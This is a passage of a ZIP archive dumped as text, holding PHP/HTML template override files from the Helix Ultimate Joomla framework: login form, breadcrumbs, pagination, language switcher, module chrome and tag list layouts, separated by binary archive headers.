				<input id="modlgn-passwd" type="password" name="password" class="form-control" tabindex="0" size="18" placeholder="<?php echo Text::_('JGLOBAL_PASSWORD'); ?>" />
			</div>
		<?php else : ?>
			<label for="modlgn-passwd"><?php echo Text::_('JGLOBAL_PASSWORD'); ?></label>
			<input id="modlgn-passwd" type="password" name="password" class="form-control" tabindex="0" size="18" placeholder="<?php echo Text::_('JGLOBAL_PASSWORD'); ?>" />
		<?php endif; ?>
	</div>

	<?php if (count($twofactormethods) > 1) : ?>
		<div id="form-login-secretkey" class="mb-3">
			<?php if (!$params->get('usetext')) : ?>
				<div class="input-group">
					<span class="input-group-text" aria-label="<?php echo Text::_('JGLOBAL_SECRETKEY'); ?>"><span class="fas fa-star" aria-hidden="true"></span></span>
					<input id="modlgn-secretkey" autocomplete="off" type="text" name="secretkey" class="form-control" tabindex="0" size="18" placeholder="<?php echo Text::_('JGLOBAL_SECRETKEY'); ?>" />
					<button class="btn btn-secondary hasTooltip" type="button" title="<?php echo Text::_('JGLOBAL_SECRETKEY_HELP'); ?>">
						<span class="fas fa-headset" aria-hidden="true"></span>
					</button>
				</div>
			<?php else : ?>
				<label for="modlgn-secretkey"><?php echo Text::_('JGLOBAL_SECRETKEY'); ?></label>
				<input id="modlgn-secretkey" autocomplete="off" type="text" name="secretkey" class="form-control" tabindex="0" size="18" placeholder="<?php echo Text::_('JGLOBAL_SECRETKEY'); ?>" />
				<small class="d-block text-muted"><span class="fas fa-asterisk" aria-hidden="true"></span> <?php echo Text::_('JGLOBAL_SECRETKEY_HELP'); ?></small>
			<?php endif; ?>
		</div>
	<?php endif; ?>

	<?php if (PluginHelper::isEnabled('system', 'remember')) : ?>
		<div id="form-login-remember" class="mb-3 form-check">
			<input id="modlgn-remember" type="checkbox" name="remember" class="form-check-input" value="yes"/>
			<label for="modlgn-remember" class="control-label"><?php echo Text::_('MOD_LOGIN_REMEMBER_ME'); ?></label>
		</div>
	<?php endif; ?>

	<div id="form-login-submit" class="mb-3">
		<button type="submit" tabindex="0" name="Submit" class="btn btn-primary login-button"><?php echo Text::_('JLOGIN'); ?></button>
	</div>

	<?php $usersConfig = ComponentHelper::getParams('com_users'); ?>
	<ul class="unstyled">
		<?php if ($usersConfig->get('allowUserRegistration')) : ?>
			<li>
				<a href="<?php echo Route::_('index.php?option=com_users&view=registration'); ?>">
				<?php echo Text::_('MOD_LOGIN_REGISTER'); ?> <span class="icon-arrow-right"></span></a>
			</li>
		<?php endif; ?>
		<li>
			<a href="<?php echo Route::_('index.php?option=com_users&view=remind'); ?>">
			<?php echo Text::_('MOD_LOGIN_FORGOT_YOUR_USERNAME'); ?></a>
		</li>
		<li>
			<a href="<?php echo Route::_('index.php?option=com_users&view=reset'); ?>">
			<?php echo Text::_('MOD_LOGIN_FORGOT_YOUR_PASSWORD'); ?></a>
		</li>
	</ul>

	<input type="hidden" name="option" value="com_users" />
	<input type="hidden" name="task" value="user.login" />
	<input type="hidden" name="return" value="<?php echo $return; ?>" />
	<?php echo HTMLHelper::_('form.token'); ?>

	<?php if ($params->get('posttext')) : ?>
		<div class="posttext mt-2">
			<?php echo $params->get('posttext'); ?>
		</div>
	<?php endif; ?>

</form>
PK!\6�ihh7helixultimate/overrides/mod_articles_latest/default.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;

if (!$list)
{
	return;
}

?>
<ul class="latestnews <?php echo $moduleclass_sfx ?? ''; ?>">
<?php foreach ($list as $item) : ?>
	<li>
		<a href="<?php echo $item->link; ?>">
			<?php echo $item->title; ?>
			<span><?php echo HTMLHelper::_('date', $item->created, 'DATE_FORMAT_LC3'); ?></span>
		</a>
	</li>
<?php endforeach; ?>
</ul>
PK!bC�j��3helixultimate/overrides/mod_breadcrumbs/default.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Language\Text;

?>

<ol itemscope itemtype="https://schema.org/BreadcrumbList" class="breadcrumb">
	<?php if ($params->get('showHere', 1)) : ?>
		<li class="float-start">
			<?php echo Text::_('MOD_BREADCRUMBS_HERE'); ?>&#160;
		</li>
	<?php else : ?>
		<li class="float-start">
			<span class="divider fas fa-map-marker-alt" aria-hidden="true"></span>
		</li>
	<?php endif; ?>

	<?php
	// Get rid of duplicated entries on trail including home page when using multilanguage
	for ($i = 0; $i < $count; $i++)
	{
		if ($i === 1 && !empty($list[$i]->link) && !empty($list[$i - 1]->link) && $list[$i]->link === $list[$i - 1]->link)
		{
			unset($list[$i]);
		}
	}

	// Find last and penultimate items in breadcrumbs list
	end($list);
	$last_item_key   = key($list);
	prev($list);
	$penult_item_key = key($list);

	// Make a link if not the last item in the breadcrumbs
	$show_last = $params->get('showLast', 1);

	// Generate the trail
	foreach ($list as $key => $item) :
		if ($key !== $last_item_key) :
			if (!empty($item->link)) :
				$breadcrumbItem = '<a itemprop="item" href="' . $item->link . '" class="pathway"><span itemprop="name">' . $item->name . '</span></a>';
			else :
				$breadcrumbItem = '<span itemprop="name">' . $item->name . '</span>';
			endif;
			// Render all but last item - along with separator ?>
			<li itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem" class="breadcrumb-item"><?php echo $breadcrumbItem; ?>
				<meta itemprop="position" content="<?php echo $key + 1; ?>">
			</li>
		<?php elseif ($show_last) :
			$breadcrumbItem = '<span itemprop="name">' . $item->name . '</span>';
			// Render last item if reqd. ?>
			<li itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem" class="breadcrumb-item active"><?php echo $breadcrumbItem; ?>
				<meta itemprop="position" content="<?php echo $key + 1; ?>">
			</li>
		<?php endif;
	endforeach; ?>
</ol>
PK!�Yh��&helixultimate/overrides/pagination.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

function pagination_list_render($list)
{
	// Initialize variables
	$html = '<ul class="pagination ms-0 mb-4">';

	if ($list['start']['active']==1)   $html .= $list['start']['data'];
	if ($list['previous']['active']==1) $html .= $list['previous']['data'];

	foreach ($list['pages'] as $page) {
		$html .= $page['data'];
	}
	if ($list['next']['active']==1) $html .= $list['next']['data'];
	if ($list['end']['active']==1)  $html .= $list['end']['data'];

	$html .= '</ul>';
	return $html;
}

function pagination_item_active(&$item)
{

	$cls = '';

    if ($item->text == JText::_('Next')) { $item->text = '&raquo;'; $cls = "next";}
    if ($item->text == JText::_('Prev')) { $item->text = '&laquo;'; $cls = "previous";}

	if ($item->text == JText::_('First')) { $cls = "first";}
    if ($item->text == JText::_('Last'))   { $cls = "last";}

    return '<li class="page-item"><a class="page-link ' . $cls . '" href="' . $item->link . '" title="' . $item->text . '">' . $item->text . '</a></li>';
}

function pagination_item_inactive( &$item )
{
	$cls = (int)$item->text > 0 ? 'active': 'disabled';
	return '<li class="page-item ' . $cls . '"><a class="page-link">' . $item->text . '</a></li>';
}
PK!H(�e,,1helixultimate/overrides/mod_languages/default.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Uri\Uri;

HTMLHelper::_('stylesheet', 'mod_languages/template.css', array('version' => 'auto', 'relative' => true));

if ($params->get('dropdown', 1) && !$params->get('dropdownimage', 0))
{
	HTMLHelper::_('formbehavior.chosen');
}
?>
<div class="mod-languages">
<?php if ($headerText) : ?>
	<div class="pretext"><p><?php echo $headerText; ?></p></div>
<?php endif; ?>

<?php if ($params->get('dropdown', 1) && !$params->get('dropdownimage', 0)) : ?>
	<form name="lang" method="post" action="<?php echo htmlspecialchars(Uri::current(), ENT_COMPAT, 'UTF-8'); ?>">
	<select class="inputbox advancedSelect" onchange="document.location.replace(this.value);" >
	<?php foreach ($list as $language) : ?>
		<option dir=<?php echo $language->rtl ? '"rtl"' : '"ltr"'; ?> value="<?php echo $language->link; ?>" <?php echo $language->active ? 'selected="selected"' : ''; ?>>
		<?php echo $language->title_native; ?></option>
	<?php endforeach; ?>
	</select>
	</form>
<?php elseif ($params->get('dropdown', 1) && $params->get('dropdownimage', 0)) : ?>
	<div class="btn-group">
		<?php foreach ($list as $language) : ?>
			<?php if ($language->active) : ?>
				<a href="#" data-bs-toggle="dropdown" data-bs-auto-close="true" class="btn dropdown-toggle">
					<span class="caret"></span>
					<?php if ($language->image) : ?>
						&nbsp;<?php echo HTMLHelper::_('image', 'mod_languages/' . $language->image . '.gif', '', null, true); ?>
					<?php endif; ?>
					<?php echo $language->title_native; ?>
				</a>
			<?php endif; ?>
		<?php endforeach; ?>
		<ul class="<?php echo $params->get('lineheight', 1) ? 'lang-block' : 'lang-inline'; ?> dropdown-menu" dir="<?php echo Factory::getLanguage()->isRtl() ? 'rtl' : 'ltr'; ?>">
		<?php foreach ($list as $language) : ?>
			<?php if (!$language->active || $params->get('show_active', 0)) : ?>
				<li<?php echo $language->active ? ' class="lang-active"' : ''; ?>>
				<a href="<?php echo $language->link; ?>">
					<?php if ($language->image) : ?>
						<?php echo HTMLHelper::_('image', 'mod_languages/' . $language->image . '.gif', '', null, true); ?>
					<?php endif; ?>
					<?php echo $language->title_native; ?>
				</a>
				</li>
			<?php endif; ?>
		<?php endforeach; ?>
		</ul>
	</div>
<?php else : ?>
	<ul class="<?php echo $params->get('inline', 1) ? 'lang-inline' : 'lang-block'; ?>">
	<?php foreach ($list as $language) : ?>
		<?php if (!$language->active || $params->get('show_active', 0)) : ?>
			<li<?php echo $language->active ? ' class="lang-active"' : ''; ?> dir="<?php echo $language->rtl ? 'rtl' : 'ltr'; ?>">
			<a href="<?php echo $language->link; ?>">
			<?php if ($params->get('image', 1)) : ?>
				<?php if ($language->image) : ?>
					<?php echo HTMLHelper::_('image', 'mod_languages/' . $language->image . '.gif', $language->title_native, array('title' => $language->title_native), true); ?>
				<?php else : ?>
					<span class="label"><?php echo strtoupper($language->sef); ?></span>
				<?php endif; ?>
			<?php else : ?>
				<?php echo $params->get('full_name', 1) ? $language->title_native : strtoupper($language->sef); ?>
			<?php endif; ?>
			</a>
			</li>
		<?php endif; ?>
	<?php endforeach; ?>
	</ul>
<?php endif; ?>

<?php if ($footerText) : ?>
	<div class="posttext"><p><?php echo $footerText; ?></p></div>
<?php endif; ?>
</div>
PK!ʒuܑ�#helixultimate/overrides/modules.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

function modChrome_sp_xhtml($module, $params, $attribs)
{

	$moduleTag     = htmlspecialchars($params->get('module_tag', 'div'), ENT_QUOTES, 'UTF-8');
	$bootstrapSize = (int) $params->get('bootstrap_size', 0);
	$moduleClass   = $bootstrapSize !== 0 ? ' span' . $bootstrapSize : '';
	$headerTag     = htmlspecialchars($params->get('header_tag', 'h3'), ENT_QUOTES, 'UTF-8');
	$headerClass   = htmlspecialchars($params->get('header_class', 'sp-module-title'), ENT_COMPAT, 'UTF-8');

	if ($module->content)
	{
		echo '<' . $moduleTag . ' class="sp-module ' . htmlspecialchars($params->get('moduleclass_sfx'), ENT_COMPAT, 'UTF-8') . $moduleClass . '">';

			if ($module->showtitle)
			{
				echo '<' . $headerTag . ' class="' . $headerClass . '">' . $module->title . '</' . $headerTag . '>';
			}

			echo '<div class="sp-module-content">';
			echo $module->content;
			echo '</div>';
		echo '</' . $moduleTag . '>';
	}
}PK!a*���7helixultimate/overrides/com_tags/tags/default_items.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

if (JVERSION < 4)
{
	HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers');
	HTMLHelper::_('behavior.core');

	JLoader::register('TagsHelperRoute', JPATH_BASE . '/components/com_tags/helpers/route.php');
}
else
{
	$wa = $this->document->getWebAssetManager();
	$wa->useScript('com_tags.tag-default');
}

// Get the user object.
$user = Factory::getUser();

// Check if user is allowed to add/edit based on tags permissions.
$canEdit      = $user->authorise('core.edit', 'com_tags');
$canCreate    = $user->authorise('core.create', 'com_tags');
$canEditState = $user->authorise('core.edit.state', 'com_tags');

$columns = $this->params->get('tag_columns', 1);

// Avoid division by 0 and negative columns.
if ($columns < 1)
{
	$columns = 1;
}

$bsspans = floor(12 / $columns);

if ($bsspans < 1)
{
	$bsspans = 1;
}

$bscolumns = min($columns, floor(12 / $bsspans));
$n         = count($this->items);

Factory::getDocument()->addScriptDeclaration("
		var resetFilter = function() {
		document.getElementById('filter-search').value = '';
	}
");

?>
<div class="mb-4">
	<form action="<?php echo htmlspecialchars(Uri::getInstance()->toString()); ?>" method="post" name="adminForm" id="adminForm">
		<?php if ($this->params->get('filter_field') || $this->params->get('show_pagination_limit')) : ?>
			<fieldset class="filters d-flex justify-content-between mb-3">
				<?php if ($this->params->get('filter_field')) : ?>
					<div class="btn-group">
						<label class="filter-search-lbl visually-hidden" for="filter-search">
							<?php echo Text::_('COM_TAGS_TITLE_FILTER_LABEL'); ?>
						</label>
						<input
							type="text"
							name="filter-search"
							id="filter-search"
							value="<?php echo $this->escape($this->state->get('list.filter')); ?>"
							class="inputbox" onchange="document.adminForm.submit();"
							placeholder="<?php echo Text::_('COM_TAGS_TITLE_FILTER_LABEL'); ?>"
						>
						<button type="submit" name="filter-search-button" class="btn btn-primary"><?php echo Text::_('JGLOBAL_FILTER_BUTTON'); ?></button>
						<button type="reset" name="filter-clear-button" class="btn btn-secondary"><?php echo Text::_('JSEARCH_FILTER_CLEAR'); ?></button>
					</div>
				<?php endif; ?>

				<?php if ($this->params->get('show_pagination_limit')) : ?>
					<div class="btn-group float-end">
						<label for="limit" class="visually-hidden">
							<?php echo Text::_('JGLOBAL_DISPLAY_NUM'); ?>
						</label>
						<?php echo $this->pagination->getLimitBox(); ?>
					</div>
				<?php endif; ?>

				<input type="hidden" name="filter_order" value="">
				<input type="hidden" name="filter_order_Dir" value="">
				<input type="hidden" name="limitstart" value="">
				<input type="hidden" name="task" value="">
			</fieldset>
		<?php endif; ?>
	</form>
</div>

<?php if ($this->items == false || $n === 0) : ?>
	<p><?php echo Text::_('COM_TAGS_NO_TAGS'); ?></p>
<?php else : ?>
	<?php foreach ($this->items as $i => $item) : ?>

		<?php if ($n === 1 || $i === 0 || $bscolumns === 1 || $i % $bscolumns === 0) : ?>
			<ul class="category list-group">
		<?php endif; ?>

		<li class="list-group-item list-group-item-action">
			<?php if ((!empty($item->access)) && in_array($item->access, $this->user->getAuthorisedViewLevels())) : ?>
				<h3 class="mb-0">
					<a href="<?php echo Route::_(JVERSION < 4 ? TagsHelperRoute::getTagRoute($item->id . ':' . $item->alias) : Joomla\Component\Tags\Site\Helper\RouteHelper::getTagRoute($item->id . ':' . $item->alias)); ?>">
						<?php echo $this->escape($item->title); ?>
					</a>
				</h3>
			<?php endif; ?>

			<?php if ($this->params->get('all_tags_show_tag_image') && !empty($item->images)) : ?>
				<?php $images  = json_decode($item->images); ?>
				<span class="tag-body">
					<?php if (!empty($images->image_intro)) : ?>
						<?php $imgfloat = empty($images->float_intro) ? $this->params->get('float_intro') : $images->float_intro; ?>
						<div class="float-<?php echo htmlspecialchars($imgfloat); ?> item-image">
							<img
								<?php if ($images->image_intro_caption) : ?>
									<?php echo 'class="caption"' . ' title="' . htmlspecialchars($images->image_intro_caption) . '"'; ?>
								<?php endif; ?>
								src="<?php echo $images->image_intro; ?>"
								alt="<?php echo htmlspecialchars($images->image_intro_alt); ?>">
						</div>
					<?php endif; ?>
				</span>
			<?php endif; ?>

			<div class="caption">
				<?php if ($this->params->get('all_tags_show_tag_description', 1)) : ?>
					<span class="tag-body">
						<?php echo HTMLHelper::_('string.truncate', $item->description, $this->params->get('all_tags_tag_maximum_characters')); ?>
					</span>
				<?php endif; ?>
				<?php if ($this->params->get('all_tags_show_tag_hits')) : ?>
					<span class="list-hits badge bg-primary">
						<?php echo Text::sprintf('JGLOBAL_HITS_COUNT', $item->hits); ?>
					</span>
				<?php endif; ?>
			</div>
		</li>

		<?php if (($i === 0 && $n === 1) || $i === $n - 1 || $bscolumns === 1 || (($i + 1) % $bscolumns === 0)) : ?>
			</ul>
		<?php endif; ?>

	<?php endforeach; ?>
<?php endif; ?>

<?php // Add pagination links ?>
<?php if (!empty($this->items)) : ?>
	<?php if (($this->params->def('show_pagination', 2) == 1  || ($this->params->get('show_pagination') == 2)) && ($this->pagination->pagesTotal > 1)) : ?>
		<nav class="pagination-wrapper d-lg-flex justify-content-between w-100">
			<?php echo $this->pagination->getPagesLinks(); ?>
			<?php if ($this->params->def('show_pagination_results', 1)) : ?>
				<div class="pagination-counter text-muted mb-4">
					<?php echo $this->pagination->getPagesCounter(); ?>
				</div>
			<?php endif; ?>
		</nav>
	<?php endif; ?>
<?php endif; ?>
PK!R5!��1helixultimate/overrides/com_tags/tags/default.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\HTML\HTMLHelper;

// Note that there are certain parts of this layout used only when there is exactly one tag.
HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers');
$description      = $this->params->get('all_tags_description');
$descriptionImage = $this->params->get('all_tags_description_image');

?>
<div class="tag-category<?php echo $this->pageclass_sfx; ?>">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<h1>
			<?php echo $this->escape($this->params->get('page_heading')); ?>
		</h1>
	<?php endif; ?>
	<?php if ($this->params->get('all_tags_show_description_image') && !empty($descriptionImage)) : ?>
		<?php $alt = empty($this->params->get('all_tags_description_image_alt')) && empty($this->params->get('all_tags_description_image_alt_empty'))
			? ''
			: 'alt="' . htmlspecialchars($this->params->get('all_tags_description_image_alt'), ENT_COMPAT, 'UTF-8') . '"'; ?>
		<div>
			<img src="<?php echo htmlspecialchars($descriptionImage, ENT_QUOTES, 'UTF-8'); ?>" <?php echo $alt; ?>>
		</div>
	<?php endif; ?>
	<?php if (!empty($description)) : ?>
		<div>
			<?php echo $description; ?>
		</div>
	<?php endif; ?>
	<?php echo $this->loadTemplate('items'); ?>
</div>
PK!�׃DD0helixultimate/overrides/com_tags/tag/default.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\HTML\HTMLHelper;

// Note that there are certain parts of this layout used only when there is exactly one tag.
HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers');
$isSingleTag = count($this->item) === 1;

?>

<div class="tag-category<?php echo $this->pageclass_sfx; ?>">

	<?php if ($this->params->get('show_page_heading')) : ?>
		<h1>
			<?php echo $this->escape($this->params->get('page_heading')); ?>
		</h1>
	<?php endif; ?>

	<?php if ($this->params->get('show_tag_title', 1)) : ?>
		<h2>
			<?php echo HTMLHelper::_('content.prepare', $this->tags_title, '', 'com_tag.tag'); ?>
		</h2>
	<?php endif; ?>

	<?php // We only show a tag description if there is a single tag. ?>
	<?php if (count($this->item) === 1 && ($this->params->get('tag_list_show_tag_image', 1) || $this->params->get('tag_list_show_tag_description', 1))) : ?>
		<div class="category-desc">
			<?php $images = json_decode($this->item[0]->images); ?>
			<?php if ($this->params->get('tag_list_show_tag_image', 1) == 1 && !empty($images->image_fulltext)) : ?>
				<img src="<?php echo htmlspecialchars($images->image_fulltext, ENT_COMPAT, 'UTF-8'); ?>"
					alt="<?php echo htmlspecialchars($images->image_fulltext_alt); ?>">
			<?php endif; ?>
			<?php if ($this->params->get('tag_list_show_tag_description') == 1 && $this->item[0]->description) : ?>
				<?php echo HTMLHelper::_('content.prepare', $this->item[0]->description, '', 'com_tags.tag'); ?>
			<?php endif; ?>
		</div>
	<?php endif; ?>

	<?php // If there are multiple tags and a description or image has been supplied use that. ?>
	<?php if ($this->params->get('tag_list_show_tag_description', 1) || $this->params->get('show_description_image', 1)) : ?>
		<?php if ($this->params->get('show_description_image', 1) == 1 && $this->params->get('tag_list_image')) : ?>
			<img src="<?php echo $this->params->get('tag_list_image'); ?>" />
		<?php endif; ?>
		<?php if ($this->params->get('tag_list_description', '') > '') : ?>
			<?php echo HTMLHelper::_('content.prepare', $this->params->get('tag_list_description'), '', 'com_tags.tag'); ?>
		<?php endif; ?>
	<?php endif; ?>
	
	<?php echo $this->loadTemplate('items'); ?>

	<?php if (($this->params->def('show_pagination', 1) == 1 || ($this->params->get('show_pagination') == 2)) && ($this->pagination->pagesTotal > 1)) : ?>
		<div class="w-100">
			<?php if ($this->params->def('show_pagination_results', 1)) : ?>
				<p class="counter float-end pt-3 pe-2">
					<?php echo $this->pagination->getPagesCounter(); ?>
				</p>
			<?php endif; ?>
			<?php echo $this->pagination->getPagesLinks(); ?>
		</div>
	<?php endif; ?>
</div>
PK!��m�&	&	-helixultimate/overrides/com_tags/tag/list.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\HTML\HTMLHelper;

// Note that there are certain parts of this layout used only when there is exactly one tag.
HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers');
$n = count($this->items);

?>

<div class="tag-category<?php echo $this->pageclass_sfx; ?>">

	<?php if ($this->params->get('show_page_heading')) : ?>
		<h1>
			<?php echo $this->escape($this->params->get('page_heading')); ?>
		</h1>
	<?php endif; ?>

	<?php if ($this->params->get('show_tag_title', 1)) : ?>
		<h2>
			<?php echo HTMLHelper::_('content.prepare', $this->tags_title, '', 'com_tag.tag'); ?>
		</h2>
	<?php endif; ?>

	<?php // We only show a tag description if there is a single tag. ?>
	<?php if (count($this->item) === 1 && ($this->params->get('tag_list_show_tag_image', 1) || $this->params->get('tag_list_show_tag_description', 1))) : ?>
		<div class="category-desc">
			<?php $images = json_decode($this->item[0]->images); ?>
			<?php if ($this->params->get('tag_list_show_tag_image', 1) == 1 && !empty($images->image_fulltext)) : ?>
				<img src="<?php echo htmlspecialchars($images->image_fulltext, ENT_COMPAT, 'UTF-8'); ?>">
			<?php endif; ?>
			<?php if ($this->params->get('tag_list_show_tag_description') == 1 && $this->item[0]->description) : ?>
				<?php echo HTMLHelper::_('content.prepare', $this->item[0]->description, '', 'com_tags.tag'); ?>
			<?php endif; ?>
		</div>
	<?php endif; ?>

	<?php // If there are multiple tags and a description or image has been supplied use that. ?>
	<?php if ($this->params->get('tag_list_show_tag_description', 1) || $this->params->get('show_description_image', 1)) : ?>
		<?php if ($this->params->get('show_description_image', 1) == 1 && $this->params->get('tag_list_image')) : ?>
			<img src="<?php echo $this->params->get('tag_list_image'); ?>">
		<?php endif; ?>
		<?php if ($this->params->get('tag_list_description', '') > '') : ?>
			<?php echo HTMLHelper::_('content.prepare', $this->params->get('tag_list_description'), '', 'com_tags.tag'); ?>
		<?php endif; ?>
	<?php endif; ?>
	<?php echo $this->loadTemplate('items'); ?>
</div>
PK!k�����6helixultimate/overrides/com_tags/tag/default_items.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers');

HTMLHelper::_('behavior.core');

// Get the user object.
$user = Factory::getUser();

// Check if user is allowed to add/edit based on tags permissions.
// Do we really have to make it so people can see unpublished tags???
$canEdit      = $user->authorise('core.edit', 'com_tags');
$canCreate    = $user->authorise('core.create', 'com_tags');
$canEditState = $user->authorise('core.edit.state', 'com_tags');
$items        = $this->items;
$n            = count($this->items);

Factory::getDocument()->addScriptDeclaration("
		var resetFilter = function() {
		document.getElementById('filter-search').value = '';
	}
");
?>
<div class="mb-4">
	<form action="<?php echo htmlspecialchars(Uri::getInstance()->toString()); ?>" method="post" name="adminForm" id="adminForm">
		<?php if ($this->params->get('filter_field') || $this->params->get('show_pagination_limit')) : ?>
			<?php if ($this->params->get('filter_field')) : ?>
				<div class="btn-group">
					<label class="filter-search-lbl visually-hidden" for="filter-search">
						<?php echo Text::_('COM_TAGS_TITLE_FILTER_LABEL'); ?>
					</label>
					<input
						type="text"
						name="filter-search"
						id="filter-search"
						value="<?php echo $this->escape($this->state->get('list.filter')); ?>"
						class="inputbox" onchange="document.adminForm.submit();"
						placeholder="<?php echo Text::_('COM_TAGS_TITLE_FILTER_LABEL'); ?>"
					>
					<button type="submit" name="filter_submit" class="btn btn-primary"><?php echo Text::_('JGLOBAL_FILTER_BUTTON'); ?></button>
					<button type="reset" name="filter-clear-button" class="btn btn-secondary"><?php echo Text::_('JSEARCH_FILTER_CLEAR'); ?></button>
				</div>
			<?php endif; ?>
			<?php if ($this->params->get('show_pagination_limit')) : ?>
				<div class="btn-group float-end">
					<label for="limit" class="visually-hidden">
						<?php echo Text::_('JGLOBAL_DISPLAY_NUM'); ?>
					</label>
					<?php echo $this->pagination->getLimitBox(); ?>
				</div>
			<?php endif; ?>

			<input type="hidden" name="limitstart" value="">
			<input type="hidden" name="task" value="">
		<?php endif; ?>
	</form>
</div>

<?php if (empty($this->items)) : ?>
	<div class="alert alert-info">
		<span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
		<?php echo Text::_('COM_TAGS_NO_ITEMS'); ?>
	</div>
<?php else : ?>
	<ul class="list-group">
		<?php foreach ($this->items as $i => $item) : ?>
			<?php if ($item->core_state == 0) : ?>
				<li class="list-group-item-danger">
			<?php else : ?>
				<li class="list-group-item list-group-item-action">
			<?php endif; ?>
			<?php if (($item->type_alias === 'com_users.category') || ($item->type_alias === 'com_banners.category')) : ?>
				<?php echo $this->escape($item->core_title); ?>
			<?php else : ?>
				<a href="<?php echo Route::_($item->link); ?>">
					<?php echo $this->escape($item->core_title); ?>
				</a>
			<?php endif; ?>
			<?php // Content is generated by content plugin event "onContentAfterTitle" ?>
			<?php echo $item->event->afterDisplayTitle; ?>
			<?php $images  = json_decode($item->core_images); ?>
			<?php if ($this->params->get('tag_list_show_item_image', 1) == 1 && !empty($images->image_intro)) : ?>
				<a href="<?php echo Route::_($item->link); ?>">
					<img src="<?php echo htmlspecialchars($images->image_intro); ?>"
						alt="<?php echo htmlspecialchars($images->image_intro_alt); ?>">
				</a>
			<?php endif; ?>
			<?php if ($this->params->get('tag_list_show_item_description', 1)) : ?>
				<?php // Content is generated by content plugin event "onContentBeforeDisplay" ?>
				<?php echo $item->event->beforeDisplayContent; ?>
				<span class="tag-body">
					<?php echo HTMLHelper::_('string.truncate', $item->core_body, $this->params->get('tag_list_item_maximum_characters')); ?>
				</span>
				<?php // Content is generated by content plugin event "onContentAfterDisplay" ?>
				<?php echo $item->event->afterDisplayContent; ?>
			<?php endif; ?>
				</li>
		<?php endforeach; ?>
	</ul>
<?php endif; ?>PK!���}��3helixultimate/overrides/com_tags/tag/list_items.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

HTMLHelper::_('behavior.core');

$n         = count($this->items);
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));

Factory::getDocument()->addScriptDeclaration("
		var resetFilter = function() {
		document.getElementById('filter-search').value = '';
	}
");

?>
<div class="mb-4">
	<form action="<?php echo htmlspecialchars(Uri::getInstance()->toString()); ?>" method="post" name="adminForm" id="adminForm">
		<?php if ($this->params->get('filter_field') || $this->params->get('show_pagination_limit')) : ?>
